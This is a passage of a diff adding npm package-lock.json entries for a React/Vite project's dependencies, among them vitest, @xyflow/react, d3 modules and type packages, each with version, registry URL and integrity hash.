+    },
+    "node_modules/@types/aria-query": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
+      "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/@types/babel__core": {
+      "version": "7.20.5",
+      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
+      "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/parser": "^7.20.7",
+        "@babel/types": "^7.20.7",
+        "@types/babel__generator": "*",
+        "@types/babel__template": "*",
+        "@types/babel__traverse": "*"
+      }
+    },
+    "node_modules/@types/babel__generator": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
+      "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__template": {
+      "version": "7.4.4",
+      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
+      "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__traverse": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
+      "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.28.2"
+      }
+    },
+    "node_modules/@types/d3-color": {
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz",
+      "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==",
+      "license": "MIT"
+    },
+    "node_modules/@types/d3-drag": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/@types/d3-drag/-/d3-drag-3.0.7.tgz",
+      "integrity": "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-selection": "*"
+      }
+    },
+    "node_modules/@types/d3-interpolate": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz",
+      "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-color": "*"
+      }
+    },
+    "node_modules/@types/d3-selection": {
+      "version": "3.0.11",
+      "resolved": "https://registry.npmjs.org/@types/d3-selection/-/d3-selection-3.0.11.tgz",
+      "integrity": "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w==",
+      "license": "MIT"
+    },
+    "node_modules/@types/d3-transition": {
+      "version": "3.0.9",
+      "resolved": "https://registry.npmjs.org/@types/d3-transition/-/d3-transition-3.0.9.tgz",
+      "integrity": "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-selection": "*"
+      }
+    },
+    "node_modules/@types/d3-zoom": {
+      "version": "3.0.8",
+      "resolved": "https://registry.npmjs.org/@types/d3-zoom/-/d3-zoom-3.0.8.tgz",
+      "integrity": "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-interpolate": "*",
+        "@types/d3-selection": "*"
+      }
+    },
+    "node_modules/@types/estree": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
+      "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@types/prop-types": {
+      "version": "15.7.15",
+      "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz",
+      "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==",
+      "devOptional": true,
+      "license": "MIT"
+    },
+    "node_modules/@types/react": {
+      "version": "18.3.28",
+      "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.28.tgz",
+      "integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==",
+      "devOptional": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/prop-types": "*",
+        "csstype": "^3.2.2"
+      }
+    },
+    "node_modules/@types/react-dom": {
+      "version": "18.3.7",
+      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz",
+      "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==",
+      "dev": true,
+      "license": "MIT",
+      "peerDependencies": {
+        "@types/react": "^18.0.0"
+      }
+    },
+    "node_modules/@vitejs/plugin-react": {
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",
+      "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/core": "^7.28.0",
+        "@babel/plugin-transform-react-jsx-self": "^7.27.1",
+        "@babel/plugin-transform-react-jsx-source": "^7.27.1",
+        "@rolldown/pluginutils": "1.0.0-beta.27",
+        "@types/babel__core": "^7.20.5",
+        "react-refresh": "^0.17.0"
+      },
+      "engines": {
+        "node": "^14.18.0 || >=16.0.0"
+      },
+      "peerDependencies": {
+        "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"
+      }
+    },
+    "node_modules/@vitest/expect": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-1.6.1.tgz",
+      "integrity": "sha512-jXL+9+ZNIJKruofqXuuTClf44eSpcHlgj3CiuNihUF3Ioujtmc0zIa3UJOW5RjDK1YLBJZnWBlPuqhYycLioog==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/spy": "1.6.1",
+        "@vitest/utils": "1.6.1",
+        "chai": "^4.3.10"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/runner": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-1.6.1.tgz",
+      "integrity": "sha512-3nSnYXkVkf3mXFfE7vVyPmi3Sazhb/2cfZGGs0JRzFsPFvAMBEcrweV1V1GsrstdXeKCTXlJbvnQwGWgEIHmOA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/utils": "1.6.1",
+        "p-limit": "^5.0.0",
+        "pathe": "^1.1.1"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/snapshot": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-1.6.1.tgz",
+      "integrity": "sha512-WvidQuWAzU2p95u8GAKlRMqMyN1yOJkGHnx3M1PL9Raf7AQ1kwLKg04ADlCa3+OXUZE7BceOhVZiuWAbzCKcUQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "magic-string": "^0.30.5",
+        "pathe": "^1.1.1",
+        "pretty-format": "^29.7.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/snapshot/node_modules/pretty-format": {
+      "version": "29.7.0",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz",
+      "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jest/schemas": "^29.6.3",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^18.0.0"
+      },
+      "engines": {
+        "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+      }
+    },
+    "node_modules/@vitest/snapshot/node_modules/react-is": {
+      "version": "18.3.1",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
+      "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@vitest/spy": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-1.6.1.tgz",
+      "integrity": "sha512-MGcMmpGkZebsMZhbQKkAf9CX5zGvjkBTqf8Zx3ApYWXr3wG+QvEu2eXWfnIIWYSJExIp4V9FCKDEeygzkYrXMw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tinyspy": "^2.2.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/utils": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-1.6.1.tgz",
+      "integrity": "sha512-jOrrUvXM4Av9ZWiG1EajNto0u96kWAhJ1LmPmJhXXQx/32MecEKd10pOLYgS2BQx1TgkGhloPU1ArDW2vvaY6g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "diff-sequences": "^29.6.3",
+        "estree-walker": "^3.0.3",
+        "loupe": "^2.3.7",
+        "pretty-format": "^29.7.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/utils/node_modules/pretty-format": {
+      "version": "29.7.0",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz",
+      "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jest/schemas": "^29.6.3",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^18.0.0"
+      },
+      "engines": {
+        "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+      }
+    },
+    "node_modules/@vitest/utils/node_modules/react-is": {
+      "version": "18.3.1",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
+      "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@xyflow/react": {
+      "version": "12.10.2",
+      "resolved": "https://registry.npmjs.org/@xyflow/react/-/react-12.10.2.tgz",
+      "integrity": "sha512-CgIi6HwlcHXwlkTpr0fxLv/0sRVNZ8IdwKLzzeCscaYBwpvfcH1QFOCeaTCuEn1FQEs/B8CjnTSjhs8udgmBgQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@xyflow/system": "0.0.76",
+        "classcat": "^5.0.3",
+        "zustand": "^4.4.0"
+      },
+      "peerDependencies": {
+        "react": ">=17",
+        "react-dom": ">=17"
+      }
+    },
+    "node_modules/@xyflow/system": {
+      "version": "0.0.76",
+      "resolved": "https://registry.npmjs.org/@xyflow/system/-/system-0.0.76.tgz",
+      "integrity": "sha512-hvwvnRS1B3REwVDlWexsq7YQaPZeG3/mKo1jv38UmnpWmxihp14bW6VtEOuHEwJX2FvzFw8k77LyKSk/wiZVNA==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-drag": "^3.0.7",
+        "@types/d3-interpolate": "^3.0.4",
+        "@types/d3-selection": "^3.0.10",
+        "@types/d3-transition": "^3.0.8",
+        "@types/d3-zoom": "^3.0.8",
+        "d3-drag": "^3.0.0",
+        "d3-interpolate": "^3.0.1",
+        "d3-selection": "^3.0.0",
+        "d3-zoom": "^3.0.0"
+      }
+    },
+    "node_modules/acorn": {
+      "version": "8.16.0",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz",
+      "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-walk": {
+      "version": "8.3.5",
+      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz",
+      "integrity": "sha512-HEHNfbars9v4pgpW6SO1KSPkfoS0xVOM/9UzkJltjlsHZmJasxg8aXkuZa7SMf8vKGIBhpUsPluQSqhJFCqebw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "acorn": "^8.11.0"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/aria-query": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
+      "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "dequal": "^2.0.3"
+      }
+    },
+    "node_modules/assertion-error": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz",
+      "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/baseline-browser-mapping": {
+      "version": "2.10.21",
+      "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.21.tgz",
+      "integrity": "sha512-Q+rUQ7Uz8AHM7DEaNdwvfFCTq7a43lNTzuS94eiWqwyxfV/wJv+oUivef51T91mmRY4d4A1u9rcSvkeufCVXlA==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "bin": {
+        "baseline-browser-mapping": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/bidi-js": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
+      "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "require-from-string": "^2.0.2"
+      }
+    },
+    "node_modules/browserslist": {
+      "version": "4.28.2",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz",
+      "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "baseline-browser-mapping": "^2.10.12",
+        "caniuse-lite": "^1.0.30001782",
+        "electron-to-chromium": "^1.5.328",
+        "node-releases": "^2.0.36",
+        "update-browserslist-db": "^1.2.3"
+      },
+      "bin": {
+        "browserslist": "cli.js"
+      },
+      "engines": {
+        "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+      }
+    },
+    "node_modules/cac": {
+      "version": "6.7.14",
+      "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz",
+      "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/caniuse-lite": {
+      "version": "1.0.30001790",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001790.tgz",
+      "integrity": "sha512-bOoxfJPyYo+ds6W0YfptaCWbFnJYjh2Y1Eow5lRv+vI2u8ganPZqNm1JwNh0t2ELQCqIWg4B3dWEusgAmsoyOw==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "CC-BY-4.0"
+    },
+    "node_modules/chai": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/chai/-/chai-4.5.0.tgz",
+      "integrity": "sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "assertion-error": "^1.1.0",
+        "check-error": "^1.0.3",
+        "deep-eql": "^4.1.3",
+        "get-func-name": "^2.0.2",
+        "loupe": "^2.3.6",
+        "pathval": "^1.1.1",
+        "type-detect": "^4.1.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/check-error": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz",
+      "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "get-func-name": "^2.0.2"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/classcat": {
+      "version": "5.0.5",
+      "resolved": "https://registry.npmjs.org/classcat/-/classcat-5.0.5.tgz",
+      "integrity": "sha512-JhZUT7JFcQy/EzW605k/ktHtncoo9vnyW/2GspNYwFlN1C/WmjuV/xtS04e9SOkL2sTdw0VAZ2UGCcQ9lR6p6w==",
+      "license": "MIT"
+    },
+    "node_modules/confbox": {
+      "version": "0.1.8",
+      "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.1.8.tgz",
+      "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/convert-source-map": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
+      "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/cross-spawn": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "path-key": "^3.1.0",
+        "shebang-command": "^2.0.0",
+        "which": "^2.0.1"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/css-tree": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz",
+      "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "mdn-data": "2.27.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
+      }
+    },
+    "node_modules/css.escape": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
+      "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/csstype": {
+      "version": "3.2.3",
+      "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
+      "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
+      "devOptional": true,
+      "license": "MIT"
+    },
+    "node_modules/d3-color": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz",
+      "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-dispatch": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz",
+      "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-drag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz",
+      "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-dispatch": "1 - 3",
+        "d3-selection": "3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-ease": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz",
+      "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==",
+      "license": "BSD-3-Clause",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-interpolate": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz",
+      "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-color": "1 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-selection": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz",
+      "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-timer": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz",
+      "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-transition": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz",
+      "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-color": "1 - 3",
+        "d3-dispatch": "1 - 3",
+        "d3-ease": "1 - 3",
+        "d3-interpolate": "1 - 3",
+        "d3-timer": "1 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "peerDependencies": {
+        "d3-selection": "2 - 3"
+      }
+    },
+    "node_modules/d3-zoom": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz",
+      "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-dispatch": "1 - 3",
+        "d3-drag": "2 - 3",
+        "d3-interpolate": "1 - 3",
+        "d3-selection": "2 - 3",
+        "d3-transition": "2 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/data-urls": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz",
+      "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "whatwg-mimetype": "^5.0.0",
+        "whatwg-url": "^16.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/decimal.js": {
+      "version": "10.6.0",
